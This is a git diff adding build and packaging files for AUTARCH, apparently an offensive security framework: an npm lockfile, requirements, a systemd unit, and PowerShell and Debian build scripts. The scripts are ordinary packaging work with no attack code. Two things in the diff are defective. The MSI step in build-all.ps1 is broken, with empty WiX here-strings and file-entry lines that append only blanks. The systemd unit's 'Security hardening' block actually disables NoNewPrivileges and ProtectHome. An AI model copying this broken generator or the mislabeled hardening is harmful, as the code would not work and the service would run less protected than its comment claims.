"^2.0.0" + } + }, + "node_modules/@zip.js/zip.js": { + "version": "2.2.27", + "resolved": "https://registry.npmjs.org/@zip.js/zip.js/-/zip.js-2.2.27.tgz", + "integrity": "sha512-lQLsq41xUIGJnUizICgjLL+1hrnlLcqyWnQcaNi8FdsxfJl8y0bqdolDit8o65Huai+/GwXbCODMVu05kNU8mA==", + "license": "BSD-3-Clause" + }, + "node_modules/android-fastboot": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/android-fastboot/-/android-fastboot-1.1.3.tgz", + "integrity": "sha512-WKgJR25RFS6zuIeHlg7hwNiX6MaGYRmDVR1w0ZZv7iXCfJueUVddb7+eCrG0GNzTyJDbTdetVN1R9Pls9r0DKA==", + "license": "MIT", + "dependencies": { + "@zip.js/zip.js": "2.2.27" + } + }, + "node_modules/atob-lite": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/atob-lite/-/atob-lite-2.0.0.tgz", + "integrity": "sha512-LEeSAWeh2Gfa2FtlQE1shxQ8zi5F9GHarrGKz08TMdODD5T4eH6BMsvtnhbWZ+XQn+Gb6om/917ucvRu7l7ukw==", + "license": "MIT" + }, + "node_modules/esbuild": { + "version": "0.24.2", + "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.24.2.tgz", + "integrity": "sha512-+9egpBW8I3CD5XPe0n6BfT5fxLzxrlDzqydF3aviG+9ni1lDC/OvMHcxqEFV0+LANZG5R1bFMWfUrjVsdwxJvA==", + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "bin": { + "esbuild": "bin/esbuild" + }, + "engines": { + "node": ">=18" + }, + "optionalDependencies": { + "@esbuild/aix-ppc64": "0.24.2", + "@esbuild/android-arm": "0.24.2", + "@esbuild/android-arm64": "0.24.2", + "@esbuild/android-x64": "0.24.2", + "@esbuild/darwin-arm64": "0.24.2", + "@esbuild/darwin-x64": "0.24.2", + "@esbuild/freebsd-arm64": "0.24.2", + "@esbuild/freebsd-x64": "0.24.2", + "@esbuild/linux-arm": "0.24.2", + "@esbuild/linux-arm64": "0.24.2", + "@esbuild/linux-ia32": "0.24.2", + "@esbuild/linux-loong64": "0.24.2", + "@esbuild/linux-mips64el": "0.24.2", + "@esbuild/linux-ppc64": "0.24.2", + "@esbuild/linux-riscv64": "0.24.2", + "@esbuild/linux-s390x": "0.24.2", + "@esbuild/linux-x64": "0.24.2", + "@esbuild/netbsd-arm64": "0.24.2", + "@esbuild/netbsd-x64": "0.24.2", + "@esbuild/openbsd-arm64": "0.24.2", + "@esbuild/openbsd-x64": "0.24.2", + "@esbuild/sunos-x64": "0.24.2", + "@esbuild/win32-arm64": "0.24.2", + "@esbuild/win32-ia32": "0.24.2", + "@esbuild/win32-x64": "0.24.2" + } + }, + "node_modules/esptool-js": { + "version": "0.5.7", + "resolved": "https://registry.npmjs.org/esptool-js/-/esptool-js-0.5.7.tgz", + "integrity": "sha512-k3pkXU9OTySCd58OUDjuJWNnFjM+QpPWAghxyWPm3zNfaLiP4ex2jNd7Rj0jWPu3/fgvwau236tetsTZrh4x5g==", + "license": "Apache-2.0", + "dependencies": { + "atob-lite": "^2.0.0", + "pako": "^2.1.0", + "tslib": "^2.4.1" + } + }, + "node_modules/pako": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/pako/-/pako-2.1.0.tgz", + "integrity": "sha512-w+eufiZ1WuJYgPXbV/PO3NCMEc3xqylkKHzp8bxp1uW4qaSNQUkwmLLEc3kKsfz8lpV1F8Ht3U1Cm+9Srog2ug==", + "license": "(MIT AND Zlib)" + }, + "node_modules/tslib": { + "version": "2.8.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz", + "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==", + "license": "0BSD" + } + } +} diff --git a/package.json b/package.json new file mode 100644 index 0000000..d9b2831 --- /dev/null +++ b/package.json @@ -0,0 +1,19 @@ +{ + "name": "autarch-hw-libs", + "version": "1.0.0", + "private": true, + "description": "Build-time only: bundles WebUSB/Web Serial libraries for AUTARCH hardware module", + "scripts": { + "build": "bash scripts/build-hw-libs.sh" + }, + "devDependencies": { + "esbuild": "^0.24.0" + }, + "dependencies": { + "@yume-chan/adb": "^2.5.1", + "@yume-chan/adb-daemon-webusb": "^2.3.2", + "@yume-chan/stream-extra": "^2.1.0", + "android-fastboot": "^1.1.3", + "esptool-js": "^0.5.7" + } +} diff --git a/pip.exe b/pip.exe new file mode 100644 index 0000000..17d6e69 Binary files /dev/null and b/pip.exe differ diff --git a/pip3.13.exe b/pip3.13.exe new file mode 100644 index 0000000..17d6e69 Binary files /dev/null and b/pip3.13.exe differ diff --git a/pip3.exe b/pip3.exe new file mode 100644 index 0000000..17d6e69 Binary files /dev/null and b/pip3.exe differ diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..1adb9bc --- /dev/null +++ b/requirements.txt @@ -0,0 +1,39 @@ +# AUTARCH - Core Dependencies +flask>=3.0 +bcrypt>=4.0 +requests>=2.31 +msgpack>=1.0 + +# OSINT & Networking +# (nmap, tcpdump, tshark are system packages) + +# Hardware / Serial +pyserial>=3.5 +esptool>=4.0 + +# Packet Analysis +pyshark>=0.6 + +# UPnP +# (miniupnpc is a system package, provides upnpc CLI) + +# Reports +qrcode>=7.0 +Pillow>=10.0 + +# ── Optional LLM Backends ────────────────────────────── +# Uncomment the backend(s) you want to use: + +# Local GGUF models (CPU-friendly): +llama-cpp-python>=0.3.16 +# For CUDA GPU acceleration, reinstall with: +# CMAKE_ARGS="-DGGML_CUDA=on" pip install llama-cpp-python --force-reinstall --no-cache-dir + +# HuggingFace SafeTensors models (GPU-recommended): +# transformers>=4.35 +# torch>=2.1 +# accelerate>=0.25 +bitsandbytes>=0.41 # for 4-bit/8-bit quantization (Linux/CUDA only; skip on Windows if unavailable) + +# Anthropic Claude API: +# anthropic>=0.40 diff --git a/scripts/autarch-web.service b/scripts/autarch-web.service new file mode 100644 index 0000000..9170ba1 --- /dev/null +++ b/scripts/autarch-web.service @@ -0,0 +1,28 @@ +[Unit] +Description=AUTARCH Web Dashboard +Documentation=file:///home/snake/autarch/GUIDE.md +After=network.target +Wants=network.target + +[Service] +Type=simple +User=snake +Group=snake +WorkingDirectory=/home/snake/autarch +ExecStart=/usr/bin/python3 /home/snake/autarch/autarch.py --web --no-banner +Restart=on-failure +RestartSec=5 +StandardOutput=journal +StandardError=journal +SyslogIdentifier=autarch-web + +# Security hardening +NoNewPrivileges=false +ProtectHome=false +PrivateTmp=true + +# Environment +Environment=PYTHONUNBUFFERED=1 + +[Install] +WantedBy=multi-user.target diff --git a/scripts/build-all.ps1 b/scripts/build-all.ps1 new file mode 100644 index 0000000..b9350c3 --- /dev/null +++ b/scripts/build-all.ps1 @@ -0,0 +1,287 @@ +# ═══════════════════════════════════════════════════════════════════════════ +# AUTARCH — Full Windows Installer Builder +# +# Auto-installs required tools, then builds: +# dist\bin\AUTARCH\AUTARCH.exe — standalone executable bundle +# dist\bin\AUTARCH-1.3-win64.msi — Windows installer +# +# Usage (run as Administrator or allow UAC prompt): +# powershell -ExecutionPolicy Bypass -File scripts\build-all.ps1 +# +# What this script installs (if not already present): +# - pyinstaller (via pip) +# - WiX Toolset 4 (via dotnet tool install --global wix) +# - .NET SDK (via winget, if dotnet is missing) +# ═══════════════════════════════════════════════════════════════════════════ + +param( + [string]$Python = "python", + [string]$Version = "1.3", + [switch]$SkipExe = $false, # Skip .exe build (use existing dist\bin\AUTARCH\) + [switch]$SkipMsi = $false # Skip .msi build +) + +$ErrorActionPreference = "Stop" +$AppDir = Split-Path -Parent $PSScriptRoot +$BinDir = Join-Path $AppDir "dist\bin" +$DistDir = Join-Path $AppDir "dist" + +Write-Host "" +Write-Host "████████████████████████████████████████████████████" -ForegroundColor Cyan +Write-Host " AUTARCH $Version — Windows Build System" -ForegroundColor Cyan +Write-Host "████████████████████████████████████████████████████" -ForegroundColor Cyan +Write-Host "" + +# ── Helper functions ────────────────────────────────────────────────────────── +function Write-Step([string]$msg) { + Write-Host "" + Write-Host " ► $msg" -ForegroundColor Yellow +} + +function Write-OK([string]$msg) { + Write-Host " ✔ $msg" -ForegroundColor Green +} + +function Write-Warn([string]$msg) { + Write-Host " ⚠ $msg" -ForegroundColor Magenta +} + +function Test-Command([string]$cmd) { + return $null -ne (Get-Command $cmd -ErrorAction SilentlyContinue) +} + +# ── 1. Verify Python ────────────────────────────────────────────────────────── +Write-Step "Checking Python..." +try { + $pyVer = & $Python --version 2>&1 + Write-OK "$pyVer" +} catch { + Write-Host "ERROR: Python not found. Install Python 3.10+ from python.org" -ForegroundColor Red + exit 1 +} + +# ── 2. Install / verify PyInstaller ────────────────────────────────────────── +Write-Step "Checking PyInstaller..." +$piVer = & $Python -c "import PyInstaller; print(PyInstaller.__version__)" 2>&1 +if ($piVer -match "^\d") { + Write-OK "PyInstaller $piVer" +} else { + Write-Warn "PyInstaller not found — installing..." + & $Python -m pip install pyinstaller --quiet + $piVer = & $Python -c "import PyInstaller; print(PyInstaller.__version__)" 2>&1 + Write-OK "PyInstaller $piVer installed" +} + +# ── 3. Install / verify .NET SDK (required for WiX 4) ──────────────────────── +if (-not $SkipMsi) { + Write-Step "Checking .NET SDK (required for WiX)..." + if (Test-Command "dotnet") { + $dotnetVer = (dotnet --version 2>&1) + Write-OK ".NET SDK $dotnetVer" + } else { + Write-Warn ".NET SDK not found — installing via winget..." + if (Test-Command "winget") { + winget install Microsoft.DotNet.SDK.8 --silent --accept-package-agreements --accept-source-agreements + $env:Path = [System.Environment]::GetEnvironmentVariable("Path", "Machine") + ";" + [System.Environment]::GetEnvironmentVariable("Path", "User") + if (Test-Command "dotnet") { + Write-OK ".NET SDK installed" + } else { + Write-Host "ERROR: Failed to install .NET SDK. Install manually from https://dot.net" -ForegroundColor Red + Write-Host " Then re-run this script." -ForegroundColor Yellow + exit 1 + } + } else { + Write-Host "ERROR: winget not found. Install .NET SDK 8+ manually from https://dot.net" -ForegroundColor Red + Write-Host " Then re-run this script." -ForegroundColor Yellow + exit 1 + } + } +} + +# ── 4. Install / verify WiX Toolset 4 ──────────────────────────────────────── +if (-not $SkipMsi) { + Write-Step "Checking WiX Toolset 4..." + $wixOk = $false + if (Test-Command "wix") { + $wixVer = (wix --version 2>&1) + Write-OK "wix $wixVer" + $wixOk = $true + } else { + # Try via dotnet tool + $dtWix = (dotnet tool list --global 2>&1) | Select-String "wix" + if ($dtWix) { + Write-OK "WiX found (dotnet tool)" + $wixOk = $true + } else { + Write-Warn "WiX not found — installing via dotnet tool..." + dotnet tool install --global wix --prerelease 2>&1 | Out-Null + # Refresh PATH + $env:Path += ";$env:USERPROFILE\.dotnet\tools" + if (Test-Command "wix") { + $wixVer = (wix --version 2>&1) + Write-OK "WiX $wixVer installed" + $wixOk = $true + } else { + Write-Warn "WiX could not be installed automatically." + Write-Warn "Install manually: dotnet tool install --global wix" + Write-Warn "Skipping MSI build." + $SkipMsi = $true + } + } + } +} + +# ── 5. Create output directory ──────────────────────────────────────────────── +Write-Step "Preparing output directory..." +if (-not (Test-Path $BinDir)) { + New-Item -ItemType Directory -Path $BinDir -Force | Out-Null +} +Write-OK "dist\bin\" + +# ── 6. Build .exe with PyInstaller ─────────────────────────────────────────── +if (-not $SkipExe) { + Write-Step "Building AUTARCH.exe (PyInstaller one-directory bundle)..." + Write-Host " This may take 3–10 minutes..." -ForegroundColor DarkGray + + $SpecFile = Join-Path $AppDir "autarch.spec" + $WorkDir = Join-Path $DistDir ".pyinstaller-work" + + Set-Location $AppDir + & $Python -m PyInstaller $SpecFile ` + --distpath $BinDir ` + --workpath $WorkDir ` + --noconfirm ` + --clean + + if ($LASTEXITCODE -ne 0) { + Write-Host "ERROR: PyInstaller build failed." -ForegroundColor Red + exit $LASTEXITCODE + } + + $exePath = Join-Path $BinDir "AUTARCH\AUTARCH.exe" + if (Test-Path $exePath) { + $sizeMB = [math]::Round((Get-ChildItem (Join-Path $BinDir "AUTARCH") -Recurse | Measure-Object -Property Length -Sum).Sum / 1MB, 1) + Write-OK "dist\bin\AUTARCH\AUTARCH.exe ($sizeMB MB bundle)" + } else { + Write-Host "ERROR: AUTARCH.exe not found after build." -ForegroundColor Red + exit 1 + } +} else { + Write-Warn "Skipping .exe build (-SkipExe)" + $exePath = Join-Path $BinDir "AUTARCH\AUTARCH.exe" + if (-not (Test-Path $exePath)) { + Write-Host "ERROR: dist\bin\AUTARCH\AUTARCH.exe not found. Remove -SkipExe to build it." -ForegroundColor Red + exit 1 + } +} + +# ── 7. Generate WiX source (.wxs) from PyInstaller output ──────────────────── +if (-not $SkipMsi) { + Write-Step "Generating WiX source from AUTARCH bundle..." + + $WxsFile = Join-Path $DistDir ".wix\AUTARCH.wxs" + $WxsDir = Split-Path $WxsFile + $BundleDir = Join-Path $BinDir "AUTARCH" + $MsiOut = Join-Path $BinDir "AUTARCH-${Version}-win64.msi" + + if (-not (Test-Path $WxsDir)) { + New-Item -ItemType Directory -Path $WxsDir -Force | Out-Null + } + + # Use WiX 4 harvest tool to generate component list from the bundle directory + $HeatOut = Join-Path $WxsDir "components.wxs" + + # Build WiX 4 MSI directly using wix build command + Write-Host " Running wix build (WiX 4)..." -ForegroundColor DarkGray + + # Create a minimal WiX 4 package definition + $WixSrcDir = Join-Path $DistDir ".wix" + $PackageWxs = Join-Path $WixSrcDir "Package.wxs" + + # Generate file list for WiX + $files = Get-ChildItem $BundleDir -Recurse -File + $compLines = @() + $fileLines = @() + $i = 0 + foreach ($f in $files) { + $rel = $f.FullName.Substring($BundleDir.Length + 1) + $relDir = [System.IO.Path]::GetDirectoryName($rel) + $id = "f$i" + $compId = "c$i" + $fileLines += " " + $compLines += " " + $i++ + } + + # Write Package.wxs (WiX 4 syntax) + @" + + + + + + + + + + + + + + +"@ | Out-File -FilePath $PackageWxs -Encoding utf8 + + # Add all files as components + $i = 0 + foreach ($f in $files) { + $rel = $f.FullName.Substring($BundleDir.Length + 1) + $relDir = [System.IO.Path]::GetDirectoryName($rel) + $fid = "File_$i" + $cid = "Comp_$i" + $did = if ($relDir) { "Dir_$($relDir.Replace('\','_').Replace(' ','_'))" } else { "INSTALLFOLDER" } + $srcPath = $f.FullName + " " | + Out-File -FilePath $PackageWxs -Encoding utf8 -Append + $i++ + } + + @" + + + + + +"@ | Out-File -FilePath $PackageWxs -Encoding utf8 -Append + + Write-Host " Compiling MSI with WiX 4..." -ForegroundColor DarkGray + $env:Path += ";$env:USERPROFILE\.dotnet\tools" + wix build $PackageWxs -out $MsiOut + + if ($LASTEXITCODE -ne 0) { + Write-Host "ERROR: WiX MSI build failed." -ForegroundColor Red + Write-Warn "The .exe bundle is still available at dist\bin\AUTARCH\AUTARCH.exe" + exit $LASTEXITCODE + } + + if (Test-Path $MsiOut) { + $sizeMB = [math]::Round((Get-Item $MsiOut).Length / 1MB, 1) + Write-OK "dist\bin\AUTARCH-${Version}-win64.msi ($sizeMB MB)" + } +} + +# ── 8. Summary ──────────────────────────────────────────────────────────────── +Write-Host "" +Write-Host "████████████████████████████████████████████████████" -ForegroundColor Green +Write-Host " BUILD COMPLETE" -ForegroundColor Green +Write-Host "████████████████████████████████████████████████████" -ForegroundColor Green +Write-Host "" +Write-Host " Standalone bundle: dist\bin\AUTARCH\AUTARCH.exe" -ForegroundColor White +if (-not $SkipMsi) { + Write-Host " MSI installer: dist\bin\AUTARCH-${Version}-win64.msi" -ForegroundColor White +} +Write-Host "" +Write-Host " Run standalone: .\dist\bin\AUTARCH\AUTARCH.exe --web" -ForegroundColor Cyan +Write-Host " Install MSI: msiexec /i dist\bin\AUTARCH-${Version}-win64.msi" -ForegroundColor Cyan +Write-Host "" diff --git a/scripts/build-deb.sh b/scripts/build-deb.sh new file mode 100644 index 0000000..a62b024 --- /dev/null +++ b/scripts/build-deb.sh @@ -0,0 +1,309 @@ +#!/usr/bin/env bash +# ─────────────────────────────────────────────────────────────── +# AUTARCH .deb package builder +# +# Usage: bash scripts/build-deb.sh [version] [--arch arm64|amd64|all] +# Output: dist/autarch_{version}_{arch}.deb +# +# No git. No debhelper. No pybuild. Just dpkg-deb. +# ─────────────────────────────────────────────────────────────── +set -euo pipefail + +APP_NAME="autarch" +SRC_DIR="$(cd "$(dirname "$0")/.." && pwd)" + +# ── Parse arguments ────────────────────────────────────────── +FORCE_ARCH="" +VERSION="" + +for arg in "$@"; do + case "$arg" in + --arch=*) FORCE_ARCH="${arg#--arch=}" ;; + --arch) ;; # handled by next iteration + arm64|amd64|armhf|all) + if [[ -z "$FORCE_ARCH" ]]; then + FORCE_ARCH="$arg" + elif [[ -z "$VERSION" ]]; then + VERSION="$arg" + fi + ;; + *) + if [[ -z "$VERSION" && ! "$arg" =~ ^-- ]]; then + VERSION="$arg" + fi + ;; + esac +done + +# Handle "all" — build for multiple architectures +if [[ "$FORCE_ARCH" == "all" ]]; then + echo "Building for all architectures..." + for arch in arm64 amd64; do + bash "$0" ${VERSION:+$VERSION} "$arch" + done + exit 0 +fi + +# ── Detect or override architecture ────────────────────────── +if [[ -n "$FORCE_ARCH" ]]; then + DEB_ARCH="$FORCE_ARCH" +else + DEB_ARCH="$(dpkg --print-architecture)" +fi + +case "$DEB_ARCH" in + arm64) PLATFORM_TAG="linux-arm64" ;; + amd64) PLATFORM_TAG="linux-x86_64" ;; + armhf) PLATFORM_TAG="linux-armhf" ;; + *) PLATFORM_TAG="linux-${DEB_ARCH}" ;; +esac + +# ── Determine version ──────────────────────────────────────── +if [[ -z "$VERSION" ]]; then + VERSION="$(grep -m1 '^VERSION' "$SRC_DIR/autarch.py" | sed 's/.*"\(.*\)".*/\1/')" + if [[ -z "$VERSION" ]]; then + echo "ERROR: Could not extract VERSION from autarch.py" >&2 + exit 1 + fi +fi + +echo "Building ${APP_NAME} ${VERSION} for ${DEB_ARCH} (${PLATFORM_TAG})" + +# ── Paths ───────────────────────────────────────────────────── +DIST_DIR="$SRC_DIR/dist" +BUILD_DIR="$DIST_DIR/.build" +PKG_NAME="${APP_NAME}_${VERSION}_${DEB_ARCH}" +STAGE="$BUILD_DIR/$PKG_NAME" +OPT="$STAGE/opt/autarch" + +# Clean previous build +rm -rf "$STAGE" +mkdir -p "$OPT" "$STAGE/DEBIAN" "$STAGE/usr/bin" + +# ── Copy application files ──────────────────────────────────── +echo "Copying application files..." + +# Core Python files at root +cp "$SRC_DIR/autarch.py" "$OPT/" +cp "$SRC_DIR/requirements.txt" "$OPT/" + +# Settings: ship live config (dpkg conffile-protected) AND .default template +cp "$SRC_DIR/autarch_settings.conf" "$OPT/autarch_settings.conf" +cp "$SRC_DIR/autarch_settings.conf" "$OPT/autarch_settings.conf.default" + +# User-editable data files +cp "$SRC_DIR/custom_sites.inf" "$OPT/" +cp "$SRC_DIR/custom_adultsites.json" "$OPT/" + +# Documentation +[[ -f "$SRC_DIR/GUIDE.md" ]] && cp "$SRC_DIR/GUIDE.md" "$OPT/" +[[ -f "$SRC_DIR/user_manual.md" ]] && cp "$SRC_DIR/user_manual.md" "$OPT/" + +# Directory trees +for dir in core modules web; do + cp -a "$SRC_DIR/$dir" "$OPT/" +done + +# Data (sites db etc.) +cp -a "$SRC_DIR/data" "$OPT/" + +# Hardware config templates +if [[ -d "$SRC_DIR/.config" ]]; then + cp -a "$SRC_DIR/.config" "$OPT/" +fi + +# Bundled tools for THIS architecture +if [[ -d "$SRC_DIR/tools/$PLATFORM_TAG" ]]; then + mkdir -p "$OPT/tools/$PLATFORM_TAG" + cp -a "$SRC_DIR/tools/$PLATFORM_TAG/." "$OPT/tools/$PLATFORM_TAG/" +fi + +# Android tools (arch-independent — same adb/fastboot for the host) +if [[ -d "$SRC_DIR/android" ]]; then + cp -a "$SRC_DIR/android" "$OPT/" +fi + +# Companion APK (if built) +APK="$SRC_DIR/autarch_companion/app/build/outputs/apk/debug/app-debug.apk" +if [[ -f "$APK" ]]; then + mkdir -p "$OPT/companion" + cp "$APK" "$OPT/companion/archon.apk" +fi + +# Systemd service +if [[ -f "$SRC_DIR/scripts/autarch-web.service" ]]; then + mkdir -p "$STAGE/etc/systemd/system" + cp "$SRC_DIR/scripts/autarch-web.service" "$STAGE/etc/systemd/system/autarch-web.service" +fi + +# ── Strip excluded files ────────────────────────────────────── +echo "Stripping excluded files..." + +# __pycache__ and .pyc +find "$OPT" -type d -name "__pycache__" -exec rm -rf {} + 2>/dev/null || true +find "$OPT" -name "*.pyc" -delete 2>/dev/null || true + +# Backup files +find "$OPT" -name "*.bk" -delete 2>/dev/null || true + +# .claude directory +rm -rf "$OPT/.claude" + +# node_modules, src (build artifacts) +rm -rf "$OPT/node_modules" "$OPT/src" + +# User-generated data that shouldn't ship +rm -f "$OPT"/*_profiles.json + +# System/dev files +rm -f "$OPT/system.inf" "$OPT/backupexec_dump.mtf" + +# Dev docs +rm -f "$OPT/DEVLOG.md" "$OPT/devjournal.md" "$OPT/autarch_dev.md" +rm -f "$OPT/android_plan.md" "$OPT/master_plan.md" + +# Node/package files +rm -f "$OPT/package.json" "$OPT/package-lock.json" "$OPT/.gitignore" + +# User data dirs — create empty structure but don't ship contents +for datadir in results dossiers data/captures data/exports data/hardware data/pentest_sessions data/uploads; do + rm -rf "$OPT/$datadir" +done + +# ── Generate DEBIAN/control ─────────────────────────────────── +INSTALLED_KB=$(du -sk "$STAGE" | cut -f1) + +cat > "$STAGE/DEBIAN/control" < +Description: AUTARCH - Autonomous Tactical Agent for Reconnaissance, + Counterintelligence, and Hacking. Self-contained security framework + with web UI, OSINT tools, network scanning, hardware flashing, + and optional LLM integration. +Section: utils +Priority: optional +Installed-Size: ${INSTALLED_KB} +Depends: python3 (>= 3.10), python3-pip, python3-venv +Recommends: nmap, tcpdump, tshark, miniupnpc, wireguard-tools +Suggests: metasploit-framework, clamav +EOF + +# ── Generate DEBIAN/conffiles ───────────────────────────────── +cat > "$STAGE/DEBIAN/conffiles" < "$STAGE/DEBIAN/postinst" <<'POSTINST' +#!/bin/bash +set -e + +APP="/opt/autarch" + +# First install: ensure live config exists (dpkg ships it, but just in case) +if [ ! -f "$APP/autarch_settings.conf" ]; then + cp "$APP/autarch_settings.conf.default" "$APP/autarch_settings.conf" +fi + +# Create writable data directories +for d in results dossiers data/captures data/exports data/hardware data/pentest_sessions data/uploads; do + mkdir -p "$APP/$d" +done + +# Set permissions on entry point +chmod +x "$APP/autarch.py" + +# Set permissions on bundled tools +for f in "$APP"/tools/linux-*/nmap "$APP"/tools/linux-*/tcpdump \ + "$APP"/tools/linux-*/upnpc "$APP"/tools/linux-*/wg; do + [ -f "$f" ] && chmod +x "$f" +done + +# Android binaries +for f in "$APP"/android/adb "$APP"/android/fastboot; do + [ -f "$f" ] && chmod +x "$f" +done + +# Create Python venv and install dependencies +if [ ! -d "$APP/venv" ]; then + echo "Creating Python virtual environment..." + python3 -m venv "$APP/venv" +fi + +echo "Installing Python dependencies..." +"$APP/venv/bin/pip" install --quiet --upgrade pip +"$APP/venv/bin/pip" install --quiet -r "$APP/requirements.txt" + +echo "AUTARCH installed successfully." +echo "Run 'autarch --help' to get started." +POSTINST +chmod 0755 "$STAGE/DEBIAN/postinst" + +# ── Generate DEBIAN/prerm ───────────────────────────────────── +cat > "$STAGE/DEBIAN/prerm" <<'PRERM' +#!/bin/bash +set -e +# Nothing to do before removal — just a placeholder for future needs. +PRERM +chmod 0755 "$STAGE/DEBIAN/prerm" + +# ── Generate DEBIAN/postrm ──────────────────────────────────── +cat > "$STAGE/DEBIAN/postrm" <<'POSTRM' +#!/bin/bash +set -e + +APP="/opt/autarch" + +if [ "$1" = "purge" ]; then + # Remove venv (large, regenerable) + rm -rf "$APP/venv" + + # Remove empty data directories only + for d in results dossiers data/captures data/exports data/hardware data/pentest_sessions data/uploads data; do + [ -d "$APP/$d" ] && rmdir --ignore-fail-on-non-empty "$APP/$d" 2>/dev/null || true + done + + # Remove app dir if completely empty + rmdir --ignore-fail-on-non-empty "$APP" 2>/dev/null || true +fi +POSTRM +chmod 0755 "$STAGE/DEBIAN/postrm" + +# ── Generate /usr/bin/autarch wrapper ───────────────────────── +cat > "$STAGE/usr/bin/autarch" <<'WRAPPER' +#!/bin/bash +exec /opt/autarch/venv/bin/python3 /opt/autarch/autarch.py "$@" +WRAPPER +chmod 0755 "$STAGE/usr/bin/autarch" + +# ── Build the .deb ──────────────────────────────────────────── +echo "Building .deb package..." +mkdir -p "$DIST_DIR" + +DEB_OUT="$DIST_DIR/${PKG_NAME}.deb" + +if command -v fakeroot >/dev/null 2>&1; then + fakeroot dpkg-deb --build "$STAGE" "$DEB_OUT" +else + dpkg-deb --build "$STAGE" "$DEB_OUT" +fi + +# ── Clean up staging ────────────────────────────────────────── +rm -rf "$BUILD_DIR" + +# ── Summary ─────────────────────────────────────────────────── +DEB_SIZE=$(du -h "$DEB_OUT" | cut -f1) +echo "" +echo "════════════════════════════════════════════════════" +echo " Package: $DEB_OUT" +echo " Size: $DEB_SIZE" +echo " Arch: $DEB_ARCH ($PLATFORM_TAG)" +echo "════════════════════════════════════════════════════" +echo "" +echo "Inspect: dpkg-deb --info $DEB_OUT" +echo "Contents: dpkg-deb --contents $DEB_OUT | head -50" +echo "Install: sudo dpkg -i $DEB_OUT && sudo apt-get install -f" diff --git a/scripts/build-exe.ps1 b/scripts/build-exe.ps1 new file mode 100644 index 0000000..9aa1927 --- /dev/null +++ b/scripts/build-exe.ps1 @@ -0,0 +1,128 @@ +# ═══════════════════════════════════════════════════════════════════════════ +# AUTARCH — PyInstaller .exe Builder +# +# Creates a standalone Windows executable bundle using PyInstaller. +# Output: dist\bin\AUTARCH\AUTARCH.exe (one-directory bundle) +# +# Usage: +# powershell -ExecutionPolicy Bypass -File scripts\build-exe.ps1 +# powershell -ExecutionPolicy Bypass -File scripts\build-exe.ps1 -OneFile +# +# Prerequisites: +# pip install pyinstaller +# ═══════════════════════════════════════════════════════════════════════════ + +param( + [switch]$OneFile = $false, # --onefile build (larger, slower to start) + [string]$Python = "python" # Python interpreter to use +) + +$ErrorActionPreference = "Stop" +$AppDir = Split-Path -Parent $PSScriptRoot + +Write-Host "" +Write-Host "════════════════════════════════════════════════" -ForegroundColor Cyan +Write-Host " AUTARCH .exe Builder (PyInstaller)" -ForegroundColor Cyan +Write-Host "════════════════════════════════════════════════" -ForegroundColor Cyan +Write-Host "" + +# ── Verify PyInstaller ──────────────────────────────────────────────────────── +try { + $ver = & $Python -c "import PyInstaller; print(PyInstaller.__version__)" 2>&1 + Write-Host "PyInstaller $ver" -ForegroundColor Green +} catch { + Write-Host "ERROR: PyInstaller not found." -ForegroundColor Red + Write-Host "Install it: pip install pyinstaller" -ForegroundColor Yellow + exit 1 +} + +# ── Prepare output directory ────────────────────────────────────────────────── +$BinDir = Join-Path $AppDir "dist\bin" +if (-not (Test-Path $BinDir)) { + New-Item -ItemType Directory -Path $BinDir -Force | Out-Null +} + +# ── Run PyInstaller ─────────────────────────────────────────────────────────── +$SpecFile = Join-Path $AppDir "autarch.spec" +$DistDir = $BinDir +$WorkDir = Join-Path $AppDir "dist\.pyinstaller-work" + +Write-Host "Building AUTARCH.exe..." -ForegroundColor Yellow +Write-Host " Spec: $SpecFile" -ForegroundColor DarkGray +Write-Host " Output: $DistDir" -ForegroundColor DarkGray +Write-Host "" + +$Args = @( + $SpecFile, + "--distpath", $DistDir, + "--workpath", $WorkDir, + "--noconfirm", + "--clean" +) + +if ($OneFile) { + # Override spec and do a one-file build directly + Write-Host "Mode: --onefile (single .exe, slower startup)" -ForegroundColor Magenta + $Args = @( + (Join-Path $AppDir "autarch.py"), + "--onefile", + "--name", "AUTARCH", + "--distpath", $DistDir, + "--workpath", $WorkDir, + "--noconfirm", + "--clean", + "--add-data", "web/templates;web/templates", + "--add-data", "web/static;web/static", + "--add-data", "data;data", + "--add-data", "modules;modules", + "--add-data", "autarch_settings.conf;.", + "--add-data", "user_manual.md;.", + "--add-data", "windows_manual.md;.", + "--add-data", "custom_sites.inf;.", + "--add-data", "custom_adultsites.json;.", + "--add-data", "android;android", + "--add-data", "tools;tools", + "--hidden-import", "flask", + "--hidden-import", "werkzeug", + "--hidden-import", "jinja2", + "--hidden-import", "bcrypt", + "--hidden-import", "requests", + "--hidden-import", "msgpack", + "--console" + ) +} + +Set-Location $AppDir +& $Python -m PyInstaller @Args + +if ($LASTEXITCODE -ne 0) { + Write-Host "" + Write-Host "ERROR: PyInstaller build failed (exit code $LASTEXITCODE)" -ForegroundColor Red + exit $LASTEXITCODE +} + +# ── Report ──────────────────────────────────────────────────────────────────── +Write-Host "" +Write-Host "════════════════════════════════════════════════" -ForegroundColor Green +Write-Host " Build complete!" -ForegroundColor Green +Write-Host "════════════════════════════════════════════════" -ForegroundColor Green +Write-Host "" + +if ($OneFile) { + $exePath = Join-Path $DistDir "AUTARCH.exe" + if (Test-Path $exePath) { + $sizeMB = [math]::Round((Get-Item $exePath).Length / 1MB, 1) + Write-Host " Output: $exePath ($sizeMB MB)" -ForegroundColor White + } +} else { + $exePath = Join-Path $DistDir "AUTARCH\AUTARCH.exe" + if (Test-Path $exePath) { + $sizeKB = [math]::Round((Get-Item $exePath).Length / 1KB, 0) + Write-Host " Exe: $exePath ($sizeKB KB)" -ForegroundColor White + $dirSize = [math]::Round((Get-ChildItem (Join-Path $DistDir "AUTARCH") -Recurse | Measure-Object -Property Length -Sum).Sum / 1MB, 1) + Write-Host " Bundle: dist\bin\AUTARCH\ ($dirSize MB total)" -ForegroundColor White + } +} +Write-Host "" +Write-Host " Run it: .\dist\bin\AUTARCH\AUTARCH.exe --web" -ForegroundColor Cyan +Write-Host 